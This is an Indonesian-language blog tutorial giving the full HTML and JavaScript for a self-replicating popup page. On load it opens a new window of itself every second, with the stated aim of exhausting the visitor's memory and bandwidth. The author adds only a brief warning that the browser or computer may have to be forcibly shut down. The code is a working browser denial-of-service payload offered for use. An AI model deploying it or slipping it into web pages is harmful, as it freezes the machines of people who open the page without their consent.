Membuka Sebuah Halaman Web Secara Rekursif
Misalkan ada sebuah kasus di mana sebuah halaman web, yang jika diakses, akan membuka lagi sebuah jendela baru yang isinya berupa halaman web tersebut juga. Hal tersebut dilakukan secara rekursif, tanpa henti, dengan tujuan untuk menghabiskan resource memori dari si komputer maupun bandwidth jaringan. Untuk membuat halaman web tersebut, diperlukan bahasa pemrograman Javascript. Berikut contoh kode pemrograman Javascript yang dapat digunakan (kebetulan file ini saya simpan di localhost dengan nama rekursif.htm):
————————————————————————————————————————————————-
<html>
<head>
<script language=”JavaScript”>
//deklarasi fungsi popup()
function popup()
{
var x = 50; y = 50;
buka = window.open(‘rekursif.htm’,”,’width=300,height=200,left=’+x+’,top=’+y+”); //membuka window baru yang memanggil halaman ini juga (popup)
}
//deklarasi fungsi yang memanggil popup()
function start()
{
if (document.all||document.getElementById)
setInterval(“popup()”,1000) //setiap interval 1000 milidetik, fungsi popup() dipanggil lagi
}
window.onload=start() //sewaktu halaman ini dibuka, langsung menjalankan fungsi start()
</script>
</head>
<body>
<form>
Recursive
</form>
</body>
</html>
————————————————————————————————————————————————-
Berikut snapshot ketika halaman web tersebut diakses dari localhost:

Harap berhati2 dalam menggunakannya, karena akan susah untuk menghentikan fungsi rekursif tadi (dapat dilihat dampaknya dari gambar di atas). Kemungkinan browser Anda harus dimatikan secara paksa, atau komputernya yang harus di-shut down secara paksa juga..